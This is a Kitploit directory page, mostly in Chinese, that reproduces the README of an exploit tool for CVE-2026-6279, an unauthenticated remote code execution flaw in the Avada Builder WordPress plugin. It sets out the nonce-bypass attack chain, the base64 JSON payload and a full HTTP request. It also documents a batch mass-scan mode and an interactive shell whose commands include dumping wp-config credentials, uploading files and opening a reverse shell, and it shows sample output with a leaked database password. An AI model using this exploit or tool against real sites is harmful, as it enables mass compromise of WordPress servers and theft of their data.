Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-6279 — CVE-2026-6279:Avada (Fusion) Builder <= 3.15.2 – 通过小工具 AJAX 处理程序中的 'render_logics' 短代码属性进行 PHP 函数注入,实现未认证远程代码执行(fusion-builder) | Kitploit
工具/GitHubGitHub/xxconi/cve-2026-6279
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制红队Payload 开发
GitHubxxconi/cve-2026-6279

CVE-2026-6279

CVE-2026-6279:Avada (Fusion) Builder <= 3.15.2 – 通过小工具 AJAX 处理程序中的 'render_logics' 短代码属性进行 PHP 函数注入,实现未认证远程代码执行(fusion-builder)

查看仓库
173个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
╔══════════════════════════════════════════════════════════════╗ ║ CVE-2026-6279 · Avada Builder <= 3.15.2 ║ ║ Unauthenticated RCE via call_user_func() ║║ ╚══════════════════════════════════════════════════════════════╝ ```

CVE CVSS Auth Plugin Installs Python


📋 摘要

字段详情
CVE IDCVE-2026-6279
受影响版本Avada Builder (Fusion Builder) <= 3.15.2
主题WordPress Avada Theme
活跃安装900.000+
漏洞类型PHP 函数注入 → 未认证 RCE
CVSS v3.19.8 (严重)
攻击向量CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
身份验证❌ 不需要
用户交互❌ 不需要
研究员xxcoin
发布日期2026-05-24

🔗 攻击链

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                                                                 │
│  1. NONCE TESPİT                                                │
│     wp_create_nonce('fusion_load_nonce') → UID 0               │
│     [fusion_post_cards] veya [fusion_table_of_contents]        │
│     shortcode'u olan herkese açık sayfalarda JS'e eklenir      │
│                          │                                      │
│                          ▼                                      │
│  2. UNAUTHENTICATED AJAX                                        │
│     wp_ajax_nopriv_fusion_get_widget_markup                     │
│     check_ajax_referer() → sadece nonce geçerliliği kontrol    │
│     eder, kullanıcı kimliği doğrulanmaz                        │
│                          │                                      │
│                          ▼                                      │
│  3. DESERİALİZASYON                                             │
│     base64_decode(render_logics) → json_decode()               │
│     Yapı doğrulaması yok — saldırgan kontrolündeki JSON        │
│                          │                                      │
│                          ▼                                      │
│  4. call_user_func() — ALLOWLIST YOK                            │
│     get_value() → wp_conditional_tags case                     │
│     call_user_func($value['function'], $value['args'])         │
│     Herhangi bir PHP fonksiyonu çağrılabilir                   │
│                          │                                      │
│                          ▼                                      │
│  5. RCE ✓                                                       │
│     system("id") → uid=1000(xxcoin)                         │
│     Web sunucusu yetkisiyle tam komut yürütme                  │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

🧬 技术细节

漏洞点

class-fusion-builder-conditional-render-helper.php — L1531:

root@kitploit:~
// VULNERABLE CODE
case 'wp_conditional_tags':
    $decoded = json_decode( base64_decode( $render_logics ), true );
    // ❌ Allowlist kontrolü yok
    return call_user_func( $decoded['function'], $decoded['args'] );

Payload 结构

root@kitploit:~
{
  "type": "wp_conditional_tags",
  "value": {
    "function": "system",
    "args": "id"
  }
}

Base64 编码后作为 render_logics POST 字段发送。

HTTP 请求

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest

action=fusion_get_widget_markup
fusion_load_nonce=<nonce>
render_logics=<base64_payload>
widget_type=WP_Widget_Recent_Posts
type=WP_Widget_Recent_Posts
widget_id=2
number=2

✅ 已验证的 RCE 函数

函数参数结果状态
system()iduid=1000(xenon1337)✅ 成功
passthru()iduid=1000(xenon1337)✅ 成功
shell_exec()iduid=1000(xenon1337)✅ 成功
exec()iduid=1000(xenon1337)✅ 成功
file_get_contents()/etc/passwdroot:x:0:0:...✅ 成功
proc_open()——❌ 需要 2 个以上参数
popen()——❌ 需要 2 个以上参数

注意: call_user_func($fn, $arg) 本质上只接受单个参数。 需要 2 个以上参数(如 proc_open、popen)的函数无法通过此漏洞触发。


🔑 为什么 Nonce 可以被绕过?

  1. Avada 为 UID 0(公开用户)生成 fusion_load_nonce
  2. 在包含 [fusion_post_cards] 或 [fusion_table_of_contents] shortcode 的公开页面中,nonce 会被添加到 JS 输出中 → 任何人都能看到
  3. check_ajax_referer('fusion_load_nonce') 只验证 nonce 的有效性 — 不验证用户身份
  4. 结果:任何访客都可以获取 nonce 并调用端点

📁 源代码参考

文件行号函数说明
class-fusion-builder-conditional-render-helper.phpL1083should_render()render_logics 反序列化
class-fusion-builder-conditional-render-helper.phpL1531get_value()⚠️ call_user_func() — 无白名单
fusion-widget.phpL44—render_logics 关联
fusion-widget.phpL389—wp_ajax_nopriv AJAX 处理器注册
class-fusion-builder.phpL7551—为 UID 0 注册确定性 nonce

🚀 安装与使用

环境要求

root@kitploit:~
pip install requests packaging

使用

root@kitploit:~
# Menülü mod (single + batch)
python3 CVE-2026-6279.py

# Protokolsüz (otomatik tespit)
python3 CVE-2026-6279.py target.com

# Protokol ile
python3 CVE-2026-6279.py http://target.com
python3 CVE-2026-6279.py https://target.com

# Port ile
python3 CVE-2026-6279.py target.com:8080
python3 CVE-2026-6279.py http://target.com:8080

菜单

root@kitploit:~
♡ [1]  Single target  ·  interactive shell
◆ [2]  Batch scan     ·  file exploit
✗ [3]  Exit

交互式 Shell 命令

root@kitploit:~
shell> id                          # komut çalıştır
shell> cd /var/www/html            # dizin değiştir
shell> upload local.php /tmp/x.php # dosya yükle
shell> download /etc/passwd        # dosya indir
shell> wp-config                   # DB bilgileri
shell> recon                       # sistem taraması
shell> revshell 10.0.0.1 4444      # reverse shell
shell> exit                        # çık

批量扫描

root@kitploit:~
# targets.txt formatı:
target1.com
http://target2.com
https://target3.com:8080
# yorum satırı (atlanır)
root@kitploit:~
♡ targets file [targets.txt]:
♡ threads [10]: 30
♡ command [id]:
♡ output file [vuln.txt]:

🖥️ PoC 输出

root@kitploit:~
╔══════════════════════════════════════════════════════════════╗
║  CVE-2026-6279  ·  Avada Builder <= 3.15.2                  ║
║  Unauthenticated RCE via call_user_func()                    ║
║  Copyright © 2026 xxcoin  ·  Thanks: xxcoin 💜 ║
╚══════════════════════════════════════════════════════════════╝

★ Avada tespit edildi! (http://localhost:8888)
★ nonce: b6d7b084c2  (src: /blog/)  [shortcode✓]
★ AJAX: http://localhost:8888/wp-admin/admin-ajax.php
★ RCE: system() [B] [WP_Widget_Recent_Posts]
  • uid=1000(xxcoin) gid=1000(xxcoin) groups=1000

shell> uname -a
  • Linux debian 6.1.0-21-amd64 #1 SMP x86_64 GNU/Linux
shell> wp-config
  • DB_NAME=wordpress
  • DB_USER=wp_user
  • DB_PASSWORD=s3cr3t_p4ss!
  • DB_HOST=localhost

📊 CVSS v3.1

指标值
攻击向量网络
攻击复杂度低
所需权限无
用户交互无
影响范围不变
机密性高
完整性高
可用性高
总分9.8 — 严重
root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

⚠️ 免责声明

本工具仅用于授权安全测试和教育目的。未经授权访问系统属于违法行为。所有责任由使用者承担。


Telegram:https://t.me/+-GYq8ydL9AYwZGI8)

CVE-2026-6279 · Avada Builder <= 3.15.2 ·xxcoin · 2026

特别感谢:Shadow Girlfriend 💜

下载工具